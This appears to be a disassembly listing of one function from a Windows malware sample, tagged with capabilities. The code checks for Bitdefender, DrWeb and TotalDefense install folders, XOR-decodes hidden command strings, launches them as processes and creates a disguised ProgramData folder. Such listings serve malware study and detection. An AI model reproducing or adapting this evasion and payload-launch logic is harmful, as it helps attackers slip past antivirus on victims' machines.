Function at 0x140008470
Capabilities:
Check if file exists
Create directory
Create process on windows
Encode data using xor
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x1400950c0]
xor rax, rsp
mov qword [rbp + 0x390], rax
lea r9, str.Tq06Bu1TNUVU8DHmb4TtL9TmS
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r15, rax
test rax, rax
je 0x140008929
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400084e5
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140008927
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x280]
call fcn.140025ec0
mov r12d, 2
mov r8d, r12d
lea r14, [0x140097df0]
mov rdx, r14
lea rcx, [rbp + 0x280]
call fcn.1400050b0
nop
lea ebx, [r12 + 4]
cmp qword [rbp + 0x308], 0
je 0x1400085bb
lea rdx, [0x140097e50]
cmp qword [0x140097e68], 0xf
cmova rdx, qword [0x140097e50]
mov r8, qword [0x140097e60]
lea rcx, [rbp + 0x280]
call fcn.140003dc0
lea rcx, [rbp + 0x288]
call fcn.140005b30
test rax, rax
jne 0x14000859f
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx + 0x2c8], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0x290]
and eax, 0x17
mov dword [rbp + rcx + 0x290], eax
and eax, dword [rbp + rcx + 0x294]
jne 0x140008e13
mov rcx, r14
cmp qword [0x140097e08], 0xf
cmova rcx, qword [0x140097df0]
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, str.C:Program_FilesBitdefender
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400085d1
test al, 0x10
jne 0x140008605
lea rcx, str.C:Program_FilesDrWeb
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400085e7
test al, 0x10
jne 0x140008605
lea rcx, str.C:Program_FilesTotalDefense
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140008959
test al, 0x10
je 0x140008959
call fcn.140008f30
mov r9, rax
mov rsi, 0xffffffffffffffff
cmp byte [rax + 0x88], 0
je 0x14000867f
lea rdx, [rax + 1]
mov r8, rsi
sub r8, rax
movabs r10, 0x95355dfd798dc5a3
nop dword [rax]
nop word [rax + rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x88
jb 0x140008640
mov byte [r9 + 0x88], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xor edi, edi
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], rdi
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [r9 + r8], dil
jne 0x1400086a0
mov rdx, r9
lea rcx, [rbp + 0x1c0]
call fcn.1400037f0
nop
lea r8, [rbp + 0x1c0]
lea rdx, [0x140097e30]
lea rcx, [rbp + 0x1e8]
call fcn.140006110
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x140008715
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008710
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008e69
call fcn.14000a2f0
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
mov rcx, qword [rbp + 0x1f8]
inc rcx
mov rax, r12
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.14000a6e0
mov rbx, rax
lea r8, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0xf
cmova r8, qword [rbp + 0x1e8]
mov ecx, dword [rbp + 0x1f8]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov dword [rbp + 0x24c], 1
mov word [rbp + 0x250], di
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000a2f0
nop
mov rdx, qword [rbp + 0x200]
cmp rdx, 0xf
jbe 0x14000887d
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008878
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008e6f
call fcn.14000a2f0
lea rsi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea rbx, vtable.std::ios_base.0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [0x140097e08], 0xf
cmova r14, qword [0x140097df0]
mov rcx, r14
call fcn.140012c50
nop
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x280], rdi
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x27c], edx
lea rcx, [rbp + 0x288]
call fcn.140005000
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x280], rsi
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x27c], edx
mov qword [rbp + 0x328], rbx
lea rcx, [rbp + 0x328]
call fcn.140009874
nop
xor eax, eax
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.14000a2d0
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor edx, edx
lea rcx, str.C:ProgramDataDefendSecurity
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140008972
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x60]
call fcn.140025ec0
lea rdx, [0x140097e30]
cmp qword [0x140097e48], 0xf
cmova rdx, qword [0x140097e30]
lea rcx, [rbp - 0x60]
call fcn.1400056b0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], r13
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xb0]
call fcn.140025ec0
mov r8d, 0x20
lea rdx, [0x140097e10]
lea rcx, [rbp + 0xb0]
call fcn.1400050b0
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x50], 6
jne 0x140008a2b
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xc0], 6
jne 0x140008a2b
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xb0]
call fcn.140005280
lea rcx, [rbp - 0x50]
call fcn.140005b30
test rax, rax
jne 0x140008a62
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx - 0x18], 0
cmovne eax, r12d
or eax, dword [rbp + rcx - 0x50]
and eax, 0x17
mov dword [rbp + rcx - 0x50], eax
and eax, dword [rbp + rcx - 0x4c]
jne 0x140008e75
lea rcx, [rbp + 0xb8]
call fcn.140005b30
test rax, rax
jne 0x140008aa9
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0xf8], 0
cmovne ebx, r12d
or ebx, dword [rbp + rcx + 0xc0]
and ebx, 0x17
mov dword [rbp + rcx + 0xc0], ebx
and ebx, dword [rbp + rcx + 0xc4]
jne 0x140008ec7
call fcn.140009090
mov r9, rax
mov rsi, 0xffffffffffffffff
cmp byte [rax + 0x88], 0
je 0x140008b1f
lea rdx, [rax + 1]
mov r8, rsi
sub r8, rax
movabs r10, 0x6f5d01851325072d
nop word [rax + rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x88
jb 0x140008ae0
mov byte [r9 + 0x88], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xor edi, edi
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rdi
mov r8, rsi
inc r8
cmp byte [r9 + r8], dil
jne 0x140008b34
mov rdx, r9
lea rcx, [rsp + 0x78]
call fcn.1400037f0
nop
lea r8, [rsp + 0x78]
lea rdx, [0x140097e10]
lea rcx, [rbp + 0x1c0]
call fcn.140006110
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140008ba0
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008b9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008f1b
call fcn.14000a2f0
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rcx, qword [rbp + 0x1d0]
inc rcx
mov rax, r12
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.14000a6e0
mov rbx, rax
lea r8, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0xf
cmova r8, qword [rbp + 0x1c0]
mov ecx, dword [rbp + 0x1d0]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x1f8], rax
mov dword [rbp + 0x24c], 1
mov word [rbp + 0x250], di
lea rax, [rbp + 0x1e8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000a2f0
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x140008d0e
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008e0d
call fcn.14000a2f0
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rdi
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xb8]
call fcn.140005000
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rsi
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xac], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x158], rbx
lea rcx, [rbp + 0x158]
call fcn.140009874
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r13
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x50]
call fcn.140005000
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x64], edx
mov qword [rbp + 0x50], rbx
lea rcx, [rbp + 0x50]
call fcn.140009874
nop
jmp 0x140008892
call fcn.140011ddc
nop
test al, 4
je 0x140008e20
lea rbx, str.ios_base::badbit_set
jmp 0x140008e34
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001fa0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x1c0]
call fcn.140002790
lea rdx, [0x140093948]
lea rcx, [rbp + 0x1c0]
call fcn.14000c28c
nop
call fcn.140011ddc
nop
call fcn.140011ddc
nop
test al, 4
je 0x140008e82
lea rbx, str.ios_base::badbit_set
jmp 0x140008e96
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001fa0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140002790
lea rdx, [0x140093948]
lea rcx, [rsp + 0x50]
call fcn.14000c28c
int3
test bl, 4
je 0x140008ed5
lea rbx, str.ios_base::badbit_set
jmp 0x140008eea
test bl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001fa0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140002790
lea rdx, [0x140093948]
lea rcx, [rsp + 0x50]
call fcn.14000c28c
nop
call fcn.140011ddc
int3